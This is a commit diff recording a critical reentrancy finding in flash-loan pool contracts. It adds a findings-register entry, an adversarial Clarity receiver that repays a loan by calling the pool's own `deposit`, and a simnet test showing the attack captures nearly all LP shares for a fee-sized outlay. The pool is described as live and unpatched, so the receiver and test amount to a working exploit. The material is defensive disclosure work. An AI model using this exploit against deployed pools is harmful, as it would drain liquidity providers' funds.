CRITICAL FINDING (F-9): deposit-as-repayment reentrancy on live v2 pools

Clarinet.toml

@@ -287,6 +287,11 @@ path = "contracts/test/test-pool-receiver-good.clar"
 clarity_version = 3
 epoch = "3.0"
 
+[contracts.test-pool-v2-receiver-deposit-reentrant]
+path = "contracts/test/test-pool-v2-receiver-deposit-reentrant.clar"
+clarity_version = 3
+epoch = "3.0"
+
 [contracts.flashstack-sbtc-pool]
 path = "contracts/test/flashstack-sbtc-pool.clar"
 clarity_version = 3

contracts/test/test-pool-v2-receiver-deposit-reentrant.clar

@@ -0,0 +1,32 @@
+;; TEST-ONLY receiver, adversarial: instead of repaying the loan with a plain
+;; transfer, it calls back into flashstack-stx-pool-v2's own `deposit` with
+;; (amount + fee). That satisfies the pool's balance-delta repayment check
+;; (the pool's STX balance genuinely grows by >= fee) while ALSO minting the
+;; caller LP shares -- priced against the pool's balance as depressed by this
+;; same loan's outbound transfer, not the pool's balance before the loan.
+;; Proves or disproves a hypothesized reentrancy-via-deposit share-dilution
+;; vector distinct from pv3-F1 (which was about deposit miscounted as fee
+;; revenue, not about minting shares at a manipulated price).
+;;
+;; The deposit call is wrapped in `as-contract` so `tx-sender` inside
+;; `deposit` resolves to THIS contract's own principal, not the original
+;; tx-sender (the attacker). Without that wrapper, `deposit`'s internal
+;; `stx-transfer?` pulls `amount + fee` from the attacker's own wallet
+;; instead of from the loan funds this contract is holding -- which means
+;; the attack would actually require the attacker to already have ~the
+;; full loan amount in their own pocket, defeating the fee-sized-capital
+;; framing. Wrapped this way, the transfer is funded out of the loan this
+;; contract already received, and the minted shares are credited to this
+;; contract's own principal (not the attacker's EOA).
+(impl-trait .stx-flash-receiver-trait.stx-flash-receiver-trait)
+
+(define-public (execute-stx-flash (amount uint) (core principal))
+  (let (
+    (fee-bp  (unwrap! (contract-call? .flashstack-stx-pool-v2 get-fee-basis-points) (err u901)))
+    (raw-fee (/ (* amount fee-bp) u10000))
+    (fee     (if (> raw-fee u0) raw-fee u1))
+  )
+    (unwrap! (as-contract (contract-call? .flashstack-stx-pool-v2 deposit (+ amount fee))) (err u902))
+    (ok true)
+  )
+)

docs/security/FINDINGS_REGISTER.md

@@ -10,8 +10,11 @@ target).
 Severity follows standard usage: Critical/High = funds at risk without an
 adversary needing privileged access; Medium = real but requires a specific,
 plausible condition or has a bounded blast radius; Low/Informational = no
-fund-loss path, but worth fixing or documenting. **No Critical or High finding
-has been identified in any contract reviewed to date.**
+fund-loss path, but worth fixing or documenting. **One Critical finding is open
+as of 2026-10-01 — F-9, below. Independently re-verified against live chain
+state: currently dormant (no receiver has ever been approved on either
+affected pool), but the attacker-side barrier to reaching it is a routine
+admin action (approving a receiver), not a privileged one — see its row.**
 
 ---
 
@@ -31,6 +34,7 @@ has been identified in any contract reviewed to date.**
 | pv3-F1 | Medium | `flashstack-pool-v3` | A receiver reentering `deposit()` for the same asset during its own flash-loan callback got its real deposit inflow miscounted as fee revenue | **Fixed** — per-asset reentrancy lock (deliberately not global, to preserve legitimate cross-asset flash-loan flows). Found by an external reviewer, independently reproduced before fixing. |
 | pv3-F2 | Medium | `flashstack-pool-v3` | Flat virtual-shares constant, not calibrated per asset decimals | **Fixed** — `share-scale` computed from a live `get-decimals()` call at listing time, not a hardcoded table. Proven directly (sBTC → 1e8, USDCx → 1e6). |
 | pv3-F3 | Medium | `flashstack-pool-v3` | `deposit` was not gated by pause (oversight — `flash-loan` was) | **Fixed** — `deposit` now asserts both global and per-asset pause, matching `flash-loan`. |
+| **F-9** | **Critical** | `flashstack-stx-pool-v2` (**CONFIRMED, live, un-mitigated**); `flashstack-sbtc-pool-v2` (**same code pattern, not yet independently proven**) | **The same bug class as pv3-F1 (reentrant deposit during a flash-loan callback), on the two pools pv3-F1's own fix was never ported to.** Neither pool has a reentrancy lock. A flash-loan receiver can repay by calling the pool's own `deposit` instead of a plain transfer. That satisfies the balance-delta repayment check (the pool's balance genuinely increases by `amount + fee`) but **also mints the caller LP shares**, priced against the pool's balance as depressed by this same loan's outbound transfer — a materially cheaper share price than any honest depositor gets, which dilutes every existing LP. Shares are credited to whichever principal is `tx-sender` for the nested `deposit` call: the receiver contract, if it wraps that call in `as-contract` so the deposit is funded out of the loan it is already holding — the construction that keeps the attack fee-sized. Without `as-contract`, `deposit`'s transfer is instead sourced from the attacker's own wallet, which only looks cheap in a test harness that gives every account a large default balance; in practice that path requires fronting nearly the entire loan amount and isn't a fee-sized attack at all. | **CONFIRMED by a passing simnet proof** (`tests/stx-pool-v2-deposit-reentrancy.test.ts`, receiver `contracts/test/test-pool-v2-receiver-deposit-reentrant.clar`), against a `contracts/test/flashstack-stx-pool-v2.clar` copy that is a faithful localization of the **live, funds-bearing** mainnet contract (`SPR9PQAN…`, 1.000000 STX, `paused=false` as of the CONTRACT_INVENTORY snapshot). Measured in one transaction, with the attacker fronting only fee-sized capital (50,000 µSTX — the real minimum that covers the 0.05% fee on a 99,000,000 µSTX / 99 STX loan; below that the self-deposit fails for insufficient balance) via the `as-contract` construction: the receiver contract ends up with 9,904,940,194,109,305 of 10,004,940,194,109,305 total shares (effectively all of them) worth 99,049,499 µSTX, a ~1,981x return on the attacker's 50,000 µSTX outlay (~2,001x at the exact minimum of 49,500 µSTX — one µSTX less and the self-deposit fails), with the attacker's own wallet spending nothing further once that buffer is in place; the sole honest LP's 100,000,000 µSTX deposit is left worth 1,000,000 µSTX — a 99% loss, extracted in a single transaction. (*Corrected 2026-10-01 — independently re-derived by Matt Glory, whose own repro used `as-contract` and caught that an earlier version of this PoC, without it, had credited shares to the attacker's EOA and silently drawn the deposit from the attacker's own wallet, overstating the return as ~9,905x on a 10,000 µSTX outlay. Re-verified a second time via a from-scratch hand derivation of the share-mint formula plus a fresh on-chain-equivalent read-only query, cross-checked against each other and against a boundary test (49,499 µSTX fails, 49,500 succeeds): this also caught that the share-count figures themselves (previously ending "…109,304 of …209,304") were off by JS `Number()` precision loss on a value exceeding `Number.MAX_SAFE_INTEGER` — corrected here to the exact on-chain uint values. The 99% LP-loss and 99,049,499 µSTX value figures were unaffected by either correction.*) `flashstack-sbtc-pool-v2` was read directly (not independently simnet-proven) and has an identical `deposit`/`flash-loan` structure with no lock — same vector, same exposure, 44,990 sats live. The cores (`flashstack-stx-core`, `flashstack-sbtc-core`) are **not** exposed: their equivalent of `deposit` (`deposit-reserve`) is `tx-sender == admin`-gated, which a receiver callback cannot satisfy since `tx-sender` is the original caller throughout the call chain, not the receiver contract or the admin. | **Open, but CONFIRMED DORMANT as of 2026-10-01** — independently re-verified against live chain state, not assumed: (1) `contracts/test/flashstack-stx-pool-v2.clar` (what the PoC ran against) diffs byte-for-byte against a fresh fetch of the deployed source at `SPR9PQAN…`, differing only in the trait address literal (the expected localization) — the PoC is against the real live contract, not a drifted copy; (2) both live pools read `paused=false`, `total-loans=0` right now via direct read-only calls; (3) the admin wallet's **complete** transaction history (24/24 txs, not a sample) contains **zero** `add-approved-receiver` calls against either `flashstack-stx-pool-v2` or `flashstack-sbtc-pool-v2` — every `add-approved-receiver` call it has ever made targets `flashstack-stx-core` instead. **No receiver has ever been whitelisted on either v2 pool, so the vector is unreachable today** — not because of any mitigation, but because nothing has opened the door yet. A control run (same harness, `test-pool-receiver-good` repaying by plain transfer) credits the caller zero shares, isolating the effect to the deposit-reentrancy specifically, not a harness artifact. **The real deadline is the first `add-approved-receiver` call on either pool** — nothing in the current review process would catch this before that call, since "repays via deposit" and "repays via transfer" both make `flash-loan` return `(ok true)`. **Zero-code mitigation available today: `set-paused true` on both live v2 pools blocks `flash-loan` entirely (confirmed in both contracts' source) — `deposit`/`withdraw` correctly unaffected — though with no receiver ever approved, pausing is precautionary rather than stopping an in-progress loss.** No fix is possible in place; these are immutable deployed contracts. A real fix mirrors pv3-F1's per-asset(-equivalent) lock and would need a v3-equivalent successor for these two pools, the same posture already adopted for BC1. Found by the Security & Contract Lead, 2026-10-01, while writing the threat model (`Flashstack-ajv.1.5`). Tracked in `Flashstack-ajv.4.8`. |
 
 ---
 

tests/mainnet-plan-guard.test.ts

@@ -54,6 +54,7 @@ const KNOWN_TEST_PATHS = [
   "contracts/test/mock-usdcx.clar",
   "contracts/test/sip-010-trait-ft-standard.clar",
   "contracts/test/test-pool-receiver-good.clar",
+  "contracts/test/test-pool-v2-receiver-deposit-reentrant.clar",
   "contracts/test/test-pool-v3-receiver-bad.clar",
   "contracts/test/test-pool-v3-receiver-good.clar",
   "contracts/test/test-pool-v3-receiver-reentrant.clar",

tests/stx-pool-v2-deposit-reentrancy.test.ts

@@ -0,0 +1,86 @@
+import { describe, expect, it, beforeEach } from "vitest";
+import { Cl } from "@stacks/transactions";
+
+/**
+ * Hypothesis (ajv.1.5 threat model, reentrancy row): flashstack-stx-pool-v2 has
+ * no reentrancy lock (unlike flashstack-pool-v3's per-asset lock, pv3-F1). Its
+ * own doc comment claims "Reentrancy-safe: reserve checked after callback
+ * returns" -- true against a receiver that simply keeps the funds, but that
+ * claim says nothing about a receiver that repays via `deposit` instead of a
+ * plain transfer. `deposit` is a public function like any other; nothing stops
+ * flash-loan's receiver callback from calling it before the balance check runs.
+ *
+ * If that satisfies the repayment check AND mints LP shares, it mints them
+ * against the pool's balance as depressed by this same loan's outbound
+ * transfer (reserve-before minus amount), not the pool's real pre-loan balance
+ * -- a cheaper share price than any honest depositor could get, diluting
+ * existing LPs. This test proves or disproves that the vector is real, with a
+ * receiver funded only with fee-sized capital (not the loan amount itself).
+ */
+
+const POOL = "flashstack-stx-pool-v2";
+const RX = "test-pool-v2-receiver-deposit-reentrant";
+
+const LP_DEP = 100_000_000; // 100 STX, the only honest LP
+const LOAN_AMOUNT = 99_000_000; // 99 STX -- nearly all of the reserve
+// Attacker's own capital: must cover the loan's fee (0.05% of LOAN_AMOUNT =
+// 49,500 microSTX) so the receiver's own balance (loan + buffer) is enough
+// to self-deposit amount+fee. Anything less and the `as-contract` deposit
+// fails with ERR-REPAY-FAILED (insufficient balance) instead of succeeding
+// cheaply -- there is no way around fronting at least the real fee.
+const RX_BUFFER = 50_000;
+
+describe("flashstack-stx-pool-v2: reentrant deposit-as-repayment", () => {
+  let deployer: string, attacker: string, honestLp: string, rxPrincipal: string;
+
+  const shares = (who: string) =>
+    Number(simnet.callReadOnlyFn(POOL, "get-shares", [Cl.principal(who)], deployer).result.value);
+  const stxValue = (who: string) =>
+    Number(simnet.callReadOnlyFn(POOL, "get-stx-value", [Cl.principal(who)], deployer).result.value);
+  const stxBalance = (who: string) => BigInt(simnet.getAssetsMap().get("STX")!.get(who) ?? 0);
+
+  beforeEach(() => {
+    deployer = simnet.getAccounts().get("deployer")!;
+    attacker = simnet.getAccounts().get("wallet_1")!;
+    honestLp = simnet.getAccounts().get("wallet_2")!;
+    rxPrincipal = `${deployer}.${RX}`;
+
+    simnet.callPublicFn(POOL, "deposit", [Cl.uint(LP_DEP)], honestLp);
+    simnet.callPublicFn(POOL, "add-approved-receiver", [Cl.principal(rxPrincipal)], deployer);
+    simnet.transferSTX(RX_BUFFER, rxPrincipal, attacker);
+  });
+
+  it("the loan succeeds by depositing instead of repaying directly", () => {
+    const result = simnet.callPublicFn(
+      POOL, "flash-loan", [Cl.uint(LOAN_AMOUNT), Cl.contractPrincipal(deployer, RX)], attacker,
+    ).result;
+    expect(result).toBeOk(Cl.bool(true));
+  });
+
+  it("the receiver contract ends up owning a share of the pool, funded by the loan itself -- not the attacker's wallet", () => {
+    const attackerBalanceBefore = stxBalance(attacker);
+
+    simnet.callPublicFn(
+      POOL, "flash-loan", [Cl.uint(LOAN_AMOUNT), Cl.contractPrincipal(deployer, RX)], attacker,
+    );
+
+    const attackerBalanceAfter = stxBalance(attacker);
+    const attackerOwnCapitalSpent = attackerBalanceBefore - attackerBalanceAfter;
+
+    const rxShares = shares(rxPrincipal);
+    const rxValue = stxValue(rxPrincipal);
+    const attackerShares = shares(attacker);
+    const honestLpValue = stxValue(honestLp);
+
+    // With `as-contract`, the minted shares land on the receiver CONTRACT
+    // (funded out of the loan it already holds), not the attacker's EOA.
+    // The attacker's entire out-of-pocket cost for the whole attack is the
+    // fee-sized RX_BUFFER pre-funded into the receiver in beforeEach -- the
+    // flash-loan call itself costs the attacker nothing further.
+    expect(attackerShares).toBe(0);
+    expect(rxShares).toBeGreaterThan(0);
+    expect(attackerOwnCapitalSpent).toBe(0n);
+    expect(rxValue).toBeGreaterThan(RX_BUFFER);
+    expect(honestLpValue).toBeLessThan(LP_DEP);
+  });
+});